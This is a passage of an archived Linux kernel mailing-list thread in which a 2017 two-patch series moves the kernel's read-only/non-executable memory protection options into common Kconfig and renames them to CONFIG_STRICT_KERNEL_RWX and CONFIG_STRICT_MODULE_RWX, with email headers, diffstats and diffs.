        <rfc822;linux-pm@vger.kernel.org>); Fri, 3 Feb 2017 12:52:36 -0500
Original-Received: by mail-qt0-f174.google.com with SMTP id v23so45916781qtb.0
        for <linux-pm@vger.kernel.org>; Fri, 03 Feb 2017 09:52:35 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=kNJYb9W7DKole6xzF7rksQtztif+dNehVV8RI3pRcdY=;
        b=lbbucaa2l14Rh1bObRM0e7mvLVbMiJ2oZYDdw+sTPWTGpBnOcttEEuYZHEHAT9aOos
         3GqbBjWaM58Lf4No1CYglKSG7QMzlnY3zukEqYTydmdfHBMcM2SQTCX6Qc2g/+I8YSg9
         LhAlxomzuaLSrE8zDAsP+peyqi0OlBVnGqMAkY+A0uqNNSUejb96R65Fp2eiD1y1unYm
         KuEDBBtXzCQ78wg/RgJaqpZlvI1nHDf3SH0ByNHurjaLBeBKaAWD8qLb/vjLdJeEDLUe
         Yml2Am6t4OxFK9HCcAz0Op+d5jkFYT1QW23mcm2ezasjiYTY0JeEX81tuTap74toCmLp
         w6+w==
X-Gm-Message-State: AIkVDXI5FZJLCO+Ix4XYO1wyjE/QPfC9b/IZ7EflNNwCkHteHR9Vd2hf50/afvkjMeDeVO+6
X-Received: by 10.200.33.141 with SMTP id 13mr15122460qty.83.1486144355190;
        Fri, 03 Feb 2017 09:52:35 -0800 (PST)
Original-Received: from labbott-redhat-machine.redhat.com ([2601:602:9802:a8dc::5ce7])
        by smtp.gmail.com with ESMTPSA id d52sm24969498qtc.2.2017.02.03.09.52.30
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 03 Feb 2017 09:52:33 -0800 (PST)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:86132 gmane.linux.documentation:44687 gmane.linux.kernel:2402990 gmane.linux.ports.arm.kernel:556830 gmane.linux.ports.parisc:27248 gmane.linux.kernel.hardened.devel:5427
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/86132>

Hi,

This is a follow up to my proposal to rename/refactor CONFIG_DEBUG_RODATA
and CONFIG_DEBUG_SET_MODULE_RONX. Among other objections, there shouldn't
be 'debug' in the name since these provide necessary kernel protection.

v2 takes a slightly different approach to this per feedback. Patch #1 moves
CONFIG_DEBUG_RODATA and CONFIG_DEBUG_SET_MODULE_RONX to a common arch config.
These configs are def_bool y for every arch except !CPU_V7 for arm
CONFIG_DEBUG_RODATA. I think this also mitigates another concern about changing
the name since these are basically internal configs at this point and not end
user selectable. Patch #2 does the rename to something more descriptive.
Hopefully this should separate discussion more clearly into two parts (refactor
and rename)

Thanks,
Laura


Laura Abbott (2):
  arch: Move CONFIG_DEBUG_RODATA and CONFIG_SET_MODULE_RONX to be common
  arch: Rename CONFIG_DEBUG_RODATA and CONFIG_DEBUG_MODULE_RONX

 Documentation/DocBook/kgdb.tmpl            |  8 ++++----
 Documentation/security/self-protection.txt |  4 ++--
 arch/Kconfig                               | 28 ++++++++++++++++++++++++++++
 arch/arm/Kconfig                           |  3 +++
 arch/arm/Kconfig.debug                     | 11 -----------
 arch/arm/configs/aspeed_g4_defconfig       |  3 +--
 arch/arm/configs/aspeed_g5_defconfig       |  3 +--
 arch/arm/include/asm/cacheflush.h          |  2 +-
 arch/arm/kernel/patch.c                    |  4 ++--
 arch/arm/kernel/vmlinux.lds.S              |  8 ++++----
 arch/arm/mm/Kconfig                        | 14 +-------------
 arch/arm/mm/init.c                         |  4 ++--
 arch/arm64/Kconfig                         |  5 ++---
 arch/arm64/Kconfig.debug                   | 13 +------------
 arch/arm64/kernel/insn.c                   |  2 +-
 arch/parisc/Kconfig                        |  1 +
 arch/parisc/Kconfig.debug                  | 11 -----------
 arch/parisc/configs/712_defconfig          |  1 -
 arch/parisc/configs/c3000_defconfig        |  1 -
 arch/parisc/mm/init.c                      |  2 +-
 arch/s390/Kconfig                          |  5 ++---
 arch/s390/Kconfig.debug                    |  3 ---
 arch/x86/Kconfig                           |  5 ++---
 arch/x86/Kconfig.debug                     | 11 -----------
 include/linux/filter.h                     |  4 ++--
 include/linux/init.h                       |  4 ++--
 include/linux/module.h                     |  2 +-
 init/main.c                                |  4 ++--
 kernel/configs/android-recommended.config  |  2 +-
 kernel/module.c                            |  6 +++---
 kernel/power/hibernate.c                   |  2 +-
 kernel/power/power.h                       |  4 ++--
 kernel/power/snapshot.c                    |  4 ++--
 33 files changed, 75 insertions(+), 109 deletions(-)

-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: [PATCHv2 1/2] arch: Move CONFIG_DEBUG_RODATA and CONFIG_SET_MODULE_RONX to be common
Date: Fri,  3 Feb 2017 09:52:21 -0800
Lines: 285
Approved: news@gmane.org
Message-ID: <1486144343-24998-2-git-send-email-labbott@redhat.com>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1486144375 32752 195.159.176.226 (3 Feb 2017 17:52:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2017 17:52:55 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
	Jason Wessel <jason.wessel@windriver.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>,
	x86@kernel.org,
	Rob Herring <robh@kernel.org>,
	"Rafael J. Wysocki" <rjw@rjwysocki.net>,
	Len Brown <len.brown@intel.com>,
	Pavel Machek <pavel@ucw.cz>,
	Mark Rutland <mark.rutland@arm.com>,
	Jessica Yu <jeyu@redhat.com>,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org,
	li
To: Kees Cook <keescook@chromium.org>
Original-X-From: kernel-hardening-return-6275-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Fri Feb 03 18:52:49 2017
Return-path: <kernel-hardening-return-6275-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6275-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cZi2S-0008Iz-R6
	for glkh-kernel-hardening@m.gmane.org; Fri, 03 Feb 2017 18:52:49 +0100
Original-Received: (qmail 30312 invoked by uid 550); 3 Feb 2017 17:52:52 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 30294 invoked from network); 3 Feb 2017 17:52:51 -0000
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=2cjPXc8QwCwP2ObVZ3iD/JxzvC0v+rmGpif56fB6szk=;
        b=ejbKPKnntbdZq3101lY8uwWgd9bfBFJZb1uxYgAzpt1MJP0GuegvdhkSSplKDp2Vo+
         WXAzr+iwEkBjAea2OwuYBoWNGglNREqxQSy6RqMIC84VOeAHr0SyNj4m57OYJzM0T1Fb
         y2FWADTXP3LSTzBqlg2fJvdQYY0noSEzUtL1Hx4KPMY/Litz9tOrn4lHVSU8/T5nuNsU
         lR4oRcGz+y7B/xetRFVruRBGJPhQMp+nR3gkFQnOIn7tEr3/XgWOmWbjYfLcO9Obdh1z
         CsgaVtGn5HWTrk64iQi7DqrswkM3xJsLv+dI2cmBcgbrQM2aAcAFn6uP82yCy1tPHTWT
         XL4w==
X-Gm-Message-State: AIkVDXLKixqVCKLL/1y+fk3LDodTsEiogl/VPaFNEQ6f2Re07XZk4t/T96pzuoNOESDwQ8YH
X-Received: by 10.237.60.27 with SMTP id t27mr15592920qte.86.1486144360061;
        Fri, 03 Feb 2017 09:52:40 -0800 (PST)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1486144343-24998-1-git-send-email-labbott@redhat.com>
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5428 gmane.linux.documentation:44688 gmane.linux.kernel:2402991 gmane.linux.ports.arm.kernel:556831 gmane.linux.ports.parisc:27249 gmane.linux.power-management.general:86133
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5428>

There are multiple architectures that support CONFIG_DEBUG_RODATA and
CONFIG_SET_MODULE_RONX. These options also now have the ability to be
turned off at runtime. Move these to an architecture independent
location and make these options def_bool y for almost all of those
arches.

Signed-off-by: Laura Abbott <labbott@redhat.com>
---
v2: This patch is now doing just the refactor of the existing config options.
---
 arch/Kconfig              | 28 ++++++++++++++++++++++++++++
 arch/arm/Kconfig          |  3 +++
 arch/arm/Kconfig.debug    | 11 -----------
 arch/arm/mm/Kconfig       | 12 ------------
 arch/arm64/Kconfig        |  5 ++---
 arch/arm64/Kconfig.debug  | 11 -----------
 arch/parisc/Kconfig       |  1 +
 arch/parisc/Kconfig.debug | 11 -----------
 arch/s390/Kconfig         |  5 ++---
 arch/s390/Kconfig.debug   |  3 ---
 arch/x86/Kconfig          |  5 ++---
 arch/x86/Kconfig.debug    | 11 -----------
 12 files changed, 38 insertions(+), 68 deletions(-)

diff --git a/arch/Kconfig b/arch/Kconfig
index 99839c2..22ee01e 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -781,4 +781,32 @@ config VMAP_STACK
 	  the stack to map directly to the KASAN shadow map using a formula
 	  that is incorrect if the stack is in vmalloc space.
 
+config ARCH_NO_STRICT_RWX_DEFAULTS
+	def_bool n
+
+config ARCH_HAS_STRICT_KERNEL_RWX
+	def_bool n
+
+config DEBUG_RODATA
+	def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
+	prompt "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS
+	depends on ARCH_HAS_STRICT_KERNEL_RWX
+	help
+	  If this is set, kernel text and rodata memory will be made read-only,
+	  and non-text memory will be made non-executable. This provides
+	  protection against certain security exploits (e.g. executing the heap
+	  or modifying text)
+
+config ARCH_HAS_STRICT_MODULE_RWX
+	def_bool n
+
+config DEBUG_SET_MODULE_RONX
+	def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
+	prompt "Set loadable kenrel module data as NX and text as RO" if ARCH_NO_STRICT_RWX_DEFAULTS
+	depends on ARCH_HAS_STRICT_MODULE_RWX && MODULES
+	help
+	  If this is set, module text and rodata memory will be made read-only,
+	  and non-text memory will be made non-executable. This provides
+	  protection against certain security exploits (e.g. writing to text)
+
 source "kernel/gcov/Kconfig"
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 186c4c2..aa73ca8 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -4,10 +4,13 @@ config ARM
 	select ARCH_CLOCKSOURCE_DATA
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
 	select ARCH_HAS_ELF_RANDOMIZE
+	select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
+	select ARCH_HAS_STRICT_MODULE_RWX if MMU
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
 	select ARCH_HAVE_CUSTOM_GPIO_H
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_MIGHT_HAVE_PC_PARPORT
+	select ARCH_NO_STRICT_RWX_DEFAULTS if !CPU_V7
 	select ARCH_SUPPORTS_ATOMIC_RMW
 	select ARCH_USE_BUILTIN_BSWAP
 	select ARCH_USE_CMPXCHG_LOCKREF
diff --git a/arch/arm/Kconfig.debug b/arch/arm/Kconfig.debug
index d83f7c3..426d271 100644
--- a/arch/arm/Kconfig.debug
+++ b/arch/arm/Kconfig.debug
@@ -1738,17 +1738,6 @@ config PID_IN_CONTEXTIDR
 	  additional instructions during context switch. Say Y here only if you
 	  are planning to use hardware trace tools with this kernel.
 
-config DEBUG_SET_MODULE_RONX
-	bool "Set loadable kernel module data as NX and text as RO"
-	depends on MODULES && MMU
-	---help---
-	  This option helps catch unintended modifications to loadable
-	  kernel module's text and read-only data. It also prevents execution
-	  of module data. Such protection may interfere with run-time code
-	  patching and dynamic kernel tracing - and they might also protect
-	  against certain classes of kernel exploits.
-	  If in doubt, say "N".
-
 source "drivers/hwtracing/coresight/Kconfig"
 
 endmenu
diff --git a/arch/arm/mm/Kconfig b/arch/arm/mm/Kconfig
index f68e8ec..419a035 100644
--- a/arch/arm/mm/Kconfig
+++ b/arch/arm/mm/Kconfig
@@ -1051,18 +1051,6 @@ config ARCH_SUPPORTS_BIG_ENDIAN
 	  This option specifies the architecture can support big endian
 	  operation.
 
-config DEBUG_RODATA
-	bool "Make kernel text and rodata read-only"
-	depends on MMU && !XIP_KERNEL
-	default y if CPU_V7
-	help
-	  If this is set, kernel text and rodata memory will be made
-	  read-only, and non-text kernel memory will be made non-executable.
-	  The tradeoff is that each region is padded to section-size (1MiB)
-	  boundaries (because their permissions are different and splitting
-	  the 1M pages into 4K ones causes TLB performance problems), which
-	  can waste memory.
-
 config DEBUG_ALIGN_RODATA
 	bool "Make rodata strictly non-executable"
 	depends on DEBUG_RODATA
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 1117421..e1efbcc 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -13,6 +13,8 @@ config ARM64
 	select ARCH_HAS_GIGANTIC_PAGE
 	select ARCH_HAS_KCOV
 	select ARCH_HAS_SG_CHAIN
+	select ARCH_HAS_STRICT_KERNEL_RWX
+	select ARCH_HAS_STRICT_MODULE_RWX
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
 	select ARCH_USE_CMPXCHG_LOCKREF
 	select ARCH_SUPPORTS_ATOMIC_RMW
@@ -123,9 +125,6 @@ config ARCH_PHYS_ADDR_T_64BIT
 config MMU
 	def_bool y
 
-config DEBUG_RODATA
-	def_bool y
-
 config ARM64_PAGE_SHIFT
 	int
 	default 16 if ARM64_64K_PAGES
diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
index d1ebd46..939815e 100644
--- a/arch/arm64/Kconfig.debug
+++ b/arch/arm64/Kconfig.debug
@@ -71,17 +71,6 @@ config DEBUG_WX
 
 	  If in doubt, say "Y".
 
-config DEBUG_SET_MODULE_RONX
-	bool "Set loadable kernel module data as NX and text as RO"
-	depends on MODULES
-	default y
-	help
-	  Is this is set, kernel module text and rodata will be made read-only.
-	  This is to help catch accidental or malicious attempts to change the
-	  kernel's executable code.
-
-	  If in doubt, say Y.
-
 config DEBUG_ALIGN_RODATA
 	depends on DEBUG_RODATA
 	bool "Align linker sections up to SECTION_SIZE"
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 3a71f38..ad294b3 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -8,6 +8,7 @@ config PARISC
 	select HAVE_SYSCALL_TRACEPOINTS
 	select ARCH_WANT_FRAME_POINTERS
 	select ARCH_HAS_ELF_RANDOMIZE
+	select ARCH_HAS_STRICT_KERNEL_RWX
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index 68b7cbd..0d856b9 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -5,15 +5,4 @@ source "lib/Kconfig.debug"
 config TRACE_IRQFLAGS_SUPPORT
 	def_bool y
 
-config DEBUG_RODATA
-       bool "Write protect kernel read-only data structures"
-       depends on DEBUG_KERNEL
-       default y
-       help
-         Mark the kernel read-only data as write-protected in the pagetables,
-         in order to catch accidental (and incorrect) writes to such const
-         data. This option may have a slight performance impact because a
-         portion of the kernel code won't be covered by a TLB anymore.
-         If in doubt, say "N".
-
 endmenu
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index c6722112..53bb0e3 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -62,9 +62,6 @@ config PCI_QUIRKS
 config ARCH_SUPPORTS_UPROBES
 	def_bool y
 
-config DEBUG_RODATA
-	def_bool y
-
 config S390
 	def_bool y
 	select ARCH_HAS_DEVMEM_IS_ALLOWED
@@ -73,6 +70,8 @@ config S390
 	select ARCH_HAS_GIGANTIC_PAGE
 	select ARCH_HAS_KCOV
 	select ARCH_HAS_SG_CHAIN
+	select ARCH_HAS_STRICT_KERNEL_RWX
+	select ARCH_HAS_STRICT_MODULE_RWX
 	select ARCH_HAS_UBSAN_SANITIZE_ALL
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select ARCH_INLINE_READ_LOCK
diff --git a/arch/s390/Kconfig.debug b/arch/s390/Kconfig.debug
index 26c5d5be..57f8ea9 100644
--- a/arch/s390/Kconfig.debug
+++ b/arch/s390/Kconfig.debug
@@ -17,7 +17,4 @@ config S390_PTDUMP
 	  kernel.
 	  If in doubt, say "N"
 
-config DEBUG_SET_MODULE_RONX
-	def_bool y
-	depends on MODULES
 endmenu
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index e487493..13e1bf4 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -54,6 +54,8 @@ config X86
 	select ARCH_HAS_MMIO_FLUSH
 	select ARCH_HAS_PMEM_API		if X86_64
 	select ARCH_HAS_SG_CHAIN
+	select ARCH_HAS_STRICT_KERNEL_RWX
+	select ARCH_HAS_STRICT_MODULE_RWX
 	select ARCH_HAS_UBSAN_SANITIZE_ALL
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select ARCH_MIGHT_HAVE_ACPI_PDC		if ACPI
@@ -309,9 +311,6 @@ config ARCH_SUPPORTS_UPROBES
 config FIX_EARLYCON_MEM
 	def_bool y
 
-config DEBUG_RODATA
-	def_bool y
-
 config PGTABLE_LEVELS
 	int
 	default 4 if X86_64
diff --git a/arch/x86/Kconfig.debug b/arch/x86/Kconfig.debug
index 67eec55..69cdd0b 100644
--- a/arch/x86/Kconfig.debug
+++ b/arch/x86/Kconfig.debug
@@ -109,17 +109,6 @@ config DEBUG_WX
 
 	  If in doubt, say "Y".
 
-config DEBUG_SET_MODULE_RONX
-	bool "Set loadable kernel module data as NX and text as RO"
-	depends on MODULES
-	---help---
-	  This option helps catch unintended modifications to loadable
-	  kernel module's text and read-only data. It also prevents execution
-	  of module data. Such protection may interfere with run-time code
-	  patching and dynamic kernel tracing - and they might also protect
-	  against certain classes of kernel exploits.
-	  If in doubt, say "N".
-
 config DEBUG_NX_TEST
 	tristate "Testcase for the NX non-executable stack feature"
 	depends on DEBUG_KERNEL && m
-- 
2.7.4



From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.documentation,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: [PATCHv2 2/2] arch: Rename CONFIG_DEBUG_RODATA and CONFIG_DEBUG_MODULE_RONX
Date: Fri,  3 Feb 2017 09:52:22 -0800
Lines: 490
Approved: news@gmane.org
Message-ID: <1486144343-24998-3-git-send-email-labbott@redhat.com>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1486144380 796 195.159.176.226 (3 Feb 2017 17:53:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2017 17:53:00 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-ker
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Feb 03 18:52:53 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cZi2W-0008Ro-CE
	for glk-linux-kernel-3@m.gmane.org; Fri, 03 Feb 2017 18:52:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751388AbdBCRwt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 3 Feb 2017 12:52:49 -0500
Original-Received: from mail-qk0-f175.google.com ([209.85.220.175]:35895 "EHLO
        mail-qk0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751181AbdBCRwp (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 3 Feb 2017 12:52:45 -0500
Original-Received: by mail-qk0-f175.google.com with SMTP id 11so5768232qkl.3
        for <linux-kernel@vger.kernel.org>; Fri, 03 Feb 2017 09:52:45 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=gFmloI5d1GClrjdVMaDeCR4qu9pnBs0xg9QiHAVWqvE=;
        b=nLh1YCnprHuPvczqOwijCSoL0B+owrHY/85bZiJjNc4nv7Q5wqVtm52LgIay95Y9Y4
         3kmZ2frIvKX+nuiV2pStEItSfCFuXmPapbo4cwnhHhQ8H08mfxrDrCoeG78LdZKg95yH
         aC5E06dSVb8CFpnBonH4aPdxNpqsqtinalC8LsP5Lgp9cM9ThEHMZvAky8DdeceMwwO0
         MY0wKlcMdiUzivsIGsvgQXKMUVq5rjsp9SVBHBi9XrZVOQdy4YuTffgWZBt1xvIiC8O6
         syrk5k6RUmWxw9CUrCNb1dtjTrTQ+2vkieN6jpYpFLd7PVzVvzr8LUjkOFu7j6pNpQN/
         MBig==
X-Gm-Message-State: AMke39noBmdDDpIFFStzosGbY6rJi2Kpe5JarNedmpxFKJoZL9bV1MwY2ID6uGVd5y5TCTi4
X-Received: by 10.55.21.84 with SMTP id f81mr15174000qkh.5.1486144364650;
        Fri, 03 Feb 2017 09:52:44 -0800 (PST)
Original-Received: from labbott-redhat-machine.redhat.com ([2601:602:9802:a8dc::5ce7])
        by smtp.gmail.com with ESMTPSA id d52sm24969498qtc.2.2017.02.03.09.52.40
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 03 Feb 2017 09:52:43 -0800 (PST)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1486144343-24998-1-git-send-email-labbott@redhat.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2402992 gmane.linux.documentation:44689 gmane.linux.ports.arm.kernel:556832 gmane.linux.ports.parisc:27250 gmane.linux.power-management.general:86134 gmane.linux.kernel.hardened.devel:5429
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2402992>


Both of these options are poorly named. The features they provide are
necessary for system security and should not be considered debug only.
Change the name to something that accurately describes what these
options do.

Signed-off-by: Laura Abbott <labbott@redhat.com>
---
v2: This patch is now doing the renaming of CONFIG_DEBUG_RODATA and
CONFIG_DEBUG_MODULE_RONX
---
 Documentation/DocBook/kgdb.tmpl            | 8 ++++----
 Documentation/security/self-protection.txt | 4 ++--
 arch/Kconfig                               | 4 ++--
 arch/arm/configs/aspeed_g4_defconfig       | 3 +--
 arch/arm/configs/aspeed_g5_defconfig       | 3 +--
 arch/arm/include/asm/cacheflush.h          | 2 +-
 arch/arm/kernel/patch.c                    | 4 ++--
 arch/arm/kernel/vmlinux.lds.S              | 8 ++++----
 arch/arm/mm/Kconfig                        | 2 +-
 arch/arm/mm/init.c                         | 4 ++--
 arch/arm64/Kconfig.debug                   | 2 +-
 arch/arm64/kernel/insn.c                   | 2 +-
 arch/parisc/configs/712_defconfig          | 1 -
 arch/parisc/configs/c3000_defconfig        | 1 -
 arch/parisc/mm/init.c                      | 2 +-
 include/linux/filter.h                     | 4 ++--
 include/linux/init.h                       | 4 ++--
 include/linux/module.h                     | 2 +-
 init/main.c                                | 4 ++--
 kernel/configs/android-recommended.config  | 2 +-
 kernel/module.c                            | 6 +++---
 kernel/power/hibernate.c                   | 2 +-
 kernel/power/power.h                       | 4 ++--
 kernel/power/snapshot.c                    | 4 ++--
 24 files changed, 39 insertions(+), 43 deletions(-)

diff --git a/Documentation/DocBook/kgdb.tmpl b/Documentation/DocBook/kgdb.tmpl
index f3abca7..856ac20 100644
--- a/Documentation/DocBook/kgdb.tmpl
+++ b/Documentation/DocBook/kgdb.tmpl
@@ -115,12 +115,12 @@
     </para>
     <para>
     If the architecture that you are using supports the kernel option
-    CONFIG_DEBUG_RODATA, you should consider turning it off.  This
+    CONFIG_STRICT_KERNEL_RWX, you should consider turning it off.  This
     option will prevent the use of software breakpoints because it
     marks certain regions of the kernel's memory space as read-only.
     If kgdb supports it for the architecture you are using, you can
     use hardware breakpoints if you desire to run with the
-    CONFIG_DEBUG_RODATA option turned on, else you need to turn off
+    CONFIG_STRICT_KERNEL_RWX option turned on, else you need to turn off
     this option.
     </para>
     <para>
@@ -135,7 +135,7 @@
     <para>Here is an example set of .config symbols to enable or
     disable for kgdb:
     <itemizedlist>
-    <listitem><para># CONFIG_DEBUG_RODATA is not set</para></listitem>
+    <listitem><para># CONFIG_STRICT_KERNEL_RWX is not set</para></listitem>
     <listitem><para>CONFIG_FRAME_POINTER=y</para></listitem>
     <listitem><para>CONFIG_KGDB=y</para></listitem>
     <listitem><para>CONFIG_KGDB_SERIAL_CONSOLE=y</para></listitem>
@@ -166,7 +166,7 @@
     </para>
     <para>Here is an example set of .config symbols to enable/disable kdb:
     <itemizedlist>
-    <listitem><para># CONFIG_DEBUG_RODATA is not set</para></listitem>
+    <listitem><para># CONFIG_STRICT_KERNEL_RWX is not set</para></listitem>
     <listitem><para>CONFIG_FRAME_POINTER=y</para></listitem>
     <listitem><para>CONFIG_KGDB=y</para></listitem>
     <listitem><para>CONFIG_KGDB_SERIAL_CONSOLE=y</para></listitem>
diff --git a/Documentation/security/self-protection.txt b/Documentation/security/self-protection.txt
index 3010576..dd2a3b1 100644
--- a/Documentation/security/self-protection.txt
+++ b/Documentation/security/self-protection.txt
@@ -51,8 +51,8 @@ kernel, they are implemented in a way where the memory is temporarily
 made writable during the update, and then returned to the original
 permissions.)
 
-In support of this are (the poorly named) CONFIG_DEBUG_RODATA and
-CONFIG_DEBUG_SET_MODULE_RONX, which seek to make sure that code is not
+In support of this are CONFIG_STRICT_KERNEL_RWX and
+CONFIG_STRICT_MODULE_RWX, which seek to make sure that code is not
 writable, data is not executable, and read-only data is neither writable
 nor executable.
 
diff --git a/arch/Kconfig b/arch/Kconfig
index 22ee01e..406f6cd 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
